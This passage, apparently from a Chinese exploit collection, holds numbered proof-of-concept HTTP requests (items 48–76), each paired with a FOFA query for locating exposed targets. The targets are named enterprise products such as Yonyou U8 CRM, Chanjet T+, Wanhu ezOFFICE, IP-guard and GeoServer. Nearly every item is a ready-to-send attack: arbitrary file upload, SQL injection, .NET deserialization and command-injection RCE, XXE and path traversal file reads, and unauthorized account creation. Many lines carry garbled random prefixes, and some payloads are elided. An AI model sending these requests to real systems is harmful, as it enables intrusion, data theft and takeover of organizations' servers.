User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 I# q5 {, R8 x2 v  q' pAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 `% o  X0 s4 J+ G0 Q5 R0 pIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
: T3 C  Z0 n7 j! w" z6 R9 HConnection: close


5 T& H5 V' K; G" F) ^
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
  J0 K- _, \5 a' u& q( |POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% g3 \3 e* j( G' wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 o" v+ R* k4 b* j' XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, q. ?$ r" ^! p. _' {6 GAccept-Encoding: gzip, deflate
8 E9 I  g% w' R( Z& {) _+ i( fContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
- a! |/ L8 D3 E) G5 a------269520967239406871642430066855
( x+ f; z* b% y2 wContent-Disposition: form-data; name="file"; filename="s.php"
: X" K- q3 F  e1 f% E  j1231
. x; c" L+ h! B, r2 C; ^0 l% rContent-Type: application/octet-stream
------269520967239406871642430066855
. d( p; H  x. S/ mContent-Disposition: form-data; name="upload"
upload
$ Z' d! C: U" t+ G5 o1 ?/ L( Z------269520967239406871642430066855--
5 ~' v) ?! h' H- |& T( q

( K( ~- S; i0 Z% }* W49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- \# s+ C" J* z6 aFOFA：body="用友U8CRM"
; i' ^6 ~& ?- E. t
# N3 F) ?" e8 A1 E; r3 O$ @POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
, P6 j: H+ k: z; L8 ?* ^& }# qHost: x.x.x.x
- F7 n( n; a- l9 K2 k4 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  [6 b: M3 d* @9 z4 jContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# E; P" l3 W& g% _9 F* ^Connection: close
- k1 T: X$ u+ G2 OContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
# Y3 s: ?9 i9 E" ]
-----------------------------vvv3wdayqv3yppdxvn3w
, }7 r/ H. r9 P" B) GContent-Disposition: form-data; name="file"; filename="%s.php "
* O; s0 q* D6 y+ ^- z& n- |! k" X/ DContent-Type: application/octet-stream
% P8 C9 I# e9 m3 I- o/ E, a
/ ^- F, X' Z/ E- ], Q- k$ Dwersqqmlumloqa
& b8 O/ y" S; Z# G-----------------------------vvv3wdayqv3yppdxvn3w
* Z* }* C/ O. mContent-Disposition: form-data; name="upload"

3 Z1 \; l; H  ^# t2 Rupload
$ V2 b; ^$ O5 I, J' E-----------------------------vvv3wdayqv3yppdxvn3w--

  v! e0 [4 w* R/ G
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
% ^( f! r8 {7 j! nAccept: */*
# S5 X' H$ ~. L; N1 vAccept-Language: en
+ y, t% B! p  N$ j( i- bContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( ^/ w  k6 o) r5 X
9 ]% E# H$ |# v  [searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
5 y$ r2 e( \8 @1 A) Q1 m

0 J: E1 ^0 M& n! h51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
( g! _# s6 ?& g! L, h- {  iGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
6 R+ `5 b( w4 Q6 _7 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! x# M4 ?- m0 c5 [" NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: e( r+ H1 ?5 z1 |9 ZConnection: close
/ h! V. ^' R. m

) Q  c+ K: u/ Q3 o( B. S52. 泛微E-Office json_common.php sql注入
% w' G2 N& l, \. O: i3 qFOFA：app="泛微-EOffice"
7 w7 {7 Y# q" BPOST /building/json_common.php HTTP/1.1
( \5 h; |) P! V! pHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 n, O7 F. ^: o8 Y% [Connection: close
, Y- V3 J  G5 ]7 D' UContent-Length: 87
  q! I. U7 ~$ NAccept: */*
* n* j4 ^* V/ @& UAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
* w9 D$ h. K$ H

  _; Q& l1 Y1 b# f53. 迪普 DPTech VPN Service 任意文件上传
9 L9 {9 h5 ]5 C# Q' H  C% gFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


) H- E! ~( P0 l" C" t54. 畅捷通T+ getstorewarehousebystore 远程代码执行
- I* n) y* ^. {* o/ iFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
8 M) R7 z* }6 h" x8 X"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
- t: K5 h* i% D3 I8 _
8 a9 d5 x& S+ K: H* h
完整数据包
+ X6 f; H2 V- B' W' P4 IPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
* ~1 a! p2 I3 x* E( w) _4 N7 oUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
& L; y, ^( J" V) O# E7 YContent-Length: 593

; t9 A7 e$ R' J/ B{
* G& i3 j( t) f- e; E: I2 i"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
+ L' H  v. j, v' x% z  o8 W( K  E$ ^  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
$ W9 F. N# w3 M9 I" S( n# s. B   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
& K' L$ J. o" y4 R; A3 Q5 e' m    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
' \4 I) [4 x3 O+ t# ~0 M7 d  }
}

+ [/ o7 k  B9 Y' i
第二步，访问如下url
3 z6 u: g+ O8 ?) {; o  v. C/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
/ V# J4 M9 F/ t) P; d/ N$ P第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
3 x4 R( a% X& h! A  M第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

; w2 ?4 v& O+ x56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
6 i+ Q8 f6 p4 x; L" U2 d* ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
- C/ r8 a% J2 ~; U% aContent-Type: application/json
' h# g& G. J  Y5 `$ i
{
3 _9 O. `1 h# Z& k0 U  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
* F2 }# n  e! s+ h( X   "MethodName":"Start",
$ V- V" L! q0 Z: Q0 d- @- I    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
& [  Q$ ^$ Q- G9 c+ N           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" Y- G6 S) Y" J  W) W           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
9 M, h0 i8 c7 E' u; j1 Z    }
* v" I  |) ^: O( p* r& f  }
}
: h2 H- {7 G4 I4 z+ W
" i0 c, q0 U& P' a9 @- K3 \+ _
57. 畅捷通T+ keyEdit.aspx SQL注入
( ?$ r9 q. Q& b- h0 f# t: pFOFA：app="畅捷通-TPlus"
; |& j  }+ n  e9 {6 [, D4 z$ L% G; W& RGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
) M/ ]$ @; _0 vConnection: close

! l& {& a6 s1 i
5 N# G9 V: R: b4 Y' Q58. 畅捷通T+ KeyInfoList.aspx sql注入
* m4 ~3 f% \2 E+ I# X; m+ hFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
3 d$ d! Y- K: UAccept-Encoding: gzip, deflate
Connection: close


: _/ c' E# }4 }59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 r) z! E# B9 _& ?. M, ~* GFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
" W5 m' f0 F# a1 gConnection: close
: d! J, D/ r: ^5 BContent-Length: 1669
Accept: */*
Accept-Language: en
+ g, n6 `* I& yContent-Type: application/x-www-form-urlencoded
1 C# P" {. O# }$ x8 WAccept-Encoding: gzip
5 G% q0 q! J0 ^' _4 }
- o+ l: s$ T  HPAYLOAD


  s$ k! A, M) J: R& B60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
; f+ z3 k  j2 W* o, UGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 }- S6 _7 X0 ^9 I$ ^$ k' _6 v/ \. \; OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  d; J& `8 w/ F

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& Q$ J+ q6 d- PFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
& ?. Q  Z) I& ?! z1 T( ~% GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! Z6 p5 x; q. D) JContent-Length: 27
, t0 X& |3 O  k! P+ Z' mAccept: */*
; s9 {- c( X" ~0 tAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
# D) z& z2 \4 t' b
% T5 q- i9 A, o0 M8 F8uxssX66eqrqtKObcVa0kid98xa
8 N/ d9 ?6 b# C6 [1 S8 \

( I$ x6 ?5 C: b& F62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
" G) e& d  J# q$ J7 jGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
, o5 R7 g  @7 h& }Host: x.x.x.x
( R( Y3 |' }( T% A1 I) Q/ c- |User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
/ P  `' @* e- s3 `Connection: close
- w+ j! G/ m+ j- y1 rAccept: */*
- H, @6 |+ M3 A" MAccept-Language: en
% ~) h& J( `: a! |Accept-Encoding: gzip
( d" J  K% [- X' ]

# q4 w7 o6 Y6 d! f: u; X$ M) N  F# d访问
, p+ e3 s) c4 U
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
! W6 \9 t! ^+ G$ S3 \6 mHost: x.x.x.x
9 V% z9 C& R& Q1 V+ G
) ^" ]: L5 V" c/ B5 `& h
2 L; p" C, p: J63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
1 i( l: h0 s: G$ J$ X. PFOFA：icon_hash="2030860561"
3 g0 S# J1 N7 M1 u8 c3 {1 C4 mPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
. V+ b/ |4 A9 S9 k" u& a/ mHost: your-ip
. }3 j/ x) q- h+ ?# y) z% y1 |8 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 a0 j7 W* i. F" R" AConnection: close
Content-Type: application/x-www-form-urlencoded
" {0 v" x# t6 i2 C1 y& E7 f+ o
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
, ]. s% e" {; t. v, ?4 B# \POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
8 U3 a) R$ [* l& O, W: U! LHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  b, o$ M0 y0 k# F  M6 {% IConnection: close
3 r( E. ?, u- |6 AContent-Length: 369
3 b# x( p$ d% L, o/ d, NAccept: */*
+ f. b. I: Q5 D4 \9 S; i; N0 |Accept-Language: en
9 U, Y) b$ t. lContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
& w5 |. g' v; G! |  B$ o& ^
<?xml version="1.0" encoding="utf-8"?>
6 V- o, F* A+ E0 }<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
" ?% a  m) W! R* J( m( I; f: P<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
6 ], H0 h7 V! s  D</soap:Envelope>

# D: W, U$ p. [6 ^
2 Q& j  C! W# P# f0 ?6 [65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& w+ U9 U' i  I4 ?% b$ s6 xFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
) K7 Z+ \' e6 ~3 r响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
* A/ d* p: D9 xHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 c/ |2 C' Y/ H9 m# y6 T' \Accept-Encoding: gzip, deflate
7 A0 [: B  @. G3 {4 yAccept: */*
, E5 h, j7 Z+ D6 z0 @4 sConnection: close
Accept-Language: en
Content-Length: 174
3 O2 J' {' @; q
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
: Z( a3 Y) z( M* q# ?  K8 w
# V/ o5 K7 C8 h. s3 LGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
4 }1 d# ]: T/ V: v( M6 g& uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 Q' N( U+ J, A$ e+ }# EConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
9 q& Q3 n! D) Y7 m& U
# P( R5 Y1 X4 ~; Z3 |" L1 K
, H- I% ~# t! O; y第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
3 J/ ~: H* p/ Q3 ^/ @. i, s
1 ?% r2 n% S# H1 \& g! p7 V67. 万户ezOFFICE wpsservlet任意文件上传
" H! o. o- |* V( `# S2 wFOFA：app="万户网络-ezOFFICE"
1 u  L2 }6 K" p8 m- [  K3 M& r+ AnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
: H) a( f6 L) x! _: qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
' F9 v7 ~9 Q0 p# ?5 @5 L! J/ j; @/ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
: K) v1 s$ q3 M6 PConnection: close
8 v2 C4 h1 T+ v$ [3 H9 sContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
, A# L$ n1 i# j3 J
--ufuadpxathqvxfqnuyuqaozvseiueerp
. \3 I/ c! E( i/ Z: QContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
; e+ u- }3 a) I* F
<% out.print("sasdfghjkj");%>
, `3 p% r2 p* |/ e- |+ v/ N--ufuadpxathqvxfqnuyuqaozvseiueerp--
6 p9 s  z2 O7 K) y% N* l: }; @
# C- M; {' x$ h% @' D6 U
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
  j( H/ A! E; g0 c) N% {1 [FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
" e2 _4 m+ u: g7 I, B% n1 Z  cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
; g& x4 G% M3 p8 R, Y2 nAccept-Encoding: gzip, deflate
4 w3 H6 ?: b/ p: mAccept-Language: zh-CN,zh;q=0.9
Connection: close

1 l. ?0 Y4 ^6 R' C$ T0 T/ X0 d$ g
/ i- Z" d* J, N. G4 \& e% B: b% `69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 X& g1 g4 Q! u5 m" g) p9 FFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
3 V; M7 A& u) G1 hHost: your-ip
7 X  j. G" w- c* A9 K+ pUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 W4 Y! H0 ]" T% R0 a. x' XAccept-Encoding: gzip, deflate
# y( X! [) J* n& c1 d, zAccept: */*
Connection: keep-alive
# u6 s3 Z6 X6 y6 z& B% f

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
3 C. X3 |/ _4 w. V& iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
0 h6 S& ~# g7 eTYPE: C
Content-Length: 16702
! a. j/ v4 x" k" q
__VIEWSTATE=PAYLOAD
6 t+ ?% |6 d; K0 \5 m! ^3 f. }$ {

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
. N' B" C7 r* K& u, D% Z3 A6 BHost: x.x.x.xx.x.x.x
0 ]( s" Z$ I: k  ]5 bUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
( k, k9 X$ F2 \Connection: close
4 T; `# V* \$ Z8 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
- o# T1 r" z% w( E% s5 _0 y! C" ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, q' d6 T1 L1 }6 Y% ?* \  iUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
7 f2 W# b" A; z' n+ E- cFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
) U; ]: L% z4 Q* o, EHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
/ t; e0 J2 i3 [  RConnection: close
1 r6 \  }# j: Z7 p& e# lContent-Length: 583
Content-Type: application/x-www-form-urlencoded
+ V, i# Q# k9 y, k7 Y; s6 ?- HAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
9 R9 g3 N/ ^1 f- R2 n9 J' h* x- T
  T2 ?+ ?* O5 }1 W$ I6 ^( p, a
! n7 h6 N/ @1 @$ {, p/ `, T73. GeoServer wms远程代码执行
( j( M0 v& j* v# c, F1 sFOFA：icon_hash=”97540678”
* x$ _4 @7 E( p5 xPOST /geoserver/wms HTTP/1.1
Host:
+ Q$ z- ]& n8 q0 O* y, g# E. _: k* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 Y( ?2 z7 e1 F- Y3 {1 O! H% lContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
/ Q+ S/ u2 E0 k5 p' @Content-Type: application/xml
SL-CE-SUID: 3
, M- E) \7 y. u! s- A# L
' m2 t5 Z( s0 s$ s# T' oPAYLOAD
3 k) q; k1 J3 d9 U; h; E

9 S( @2 o0 d# Y; t2 X9 ^, J74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
& }( c8 x' e) ^$ H# d% qPAYLOAD

; U4 J; w* c+ z5 Z- s75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
5 J( Z8 m% x, n) z0 F) N3 x; eHost: x.x.x.x
9 W$ ^9 D: j) n2 O3 U; I$ v) P# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 J% e' I- X. g. f9 XConnection: close
Accept: */*
Accept-Language: en
8 s3 v8 E% l1 [Accept-Encoding: gzip
  C0 I+ l8 P/ {5 y0 ?( S' |0 L
0 X: r5 L( o7 _
- A& q3 j9 x, ~GET /cgi-bin/test28256.txt HTTP/1.1
6 D# n8 X' G7 E! H$ K* wHost: x.x.x.x


5 u) W2 P4 L. G+ o# S: e) ^76. 新开普掌上校园服务管理平台service.action远程命令执行
* K9 \: n6 a6 D) J7 nFOFA：title="掌上校园服务管理平台"
% u5 J1 J/ q: z! J+ s6 |9 y6 F7 aPOST /service_transport/service.action HTTP/1.1
, ]$ c9 E' f3 _" iHost: x.x.x.x
: r/ g1 }& K9 d- dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) ^& A% J  X: D$ RAccept-Encoding: gzip, deflate
# T' L% U4 l6 g+ o* e. p" lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
+ K) D( [1 e# K
0 ]; I3 u/ ^; v$ e{
: o) v0 ]8 B: m"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
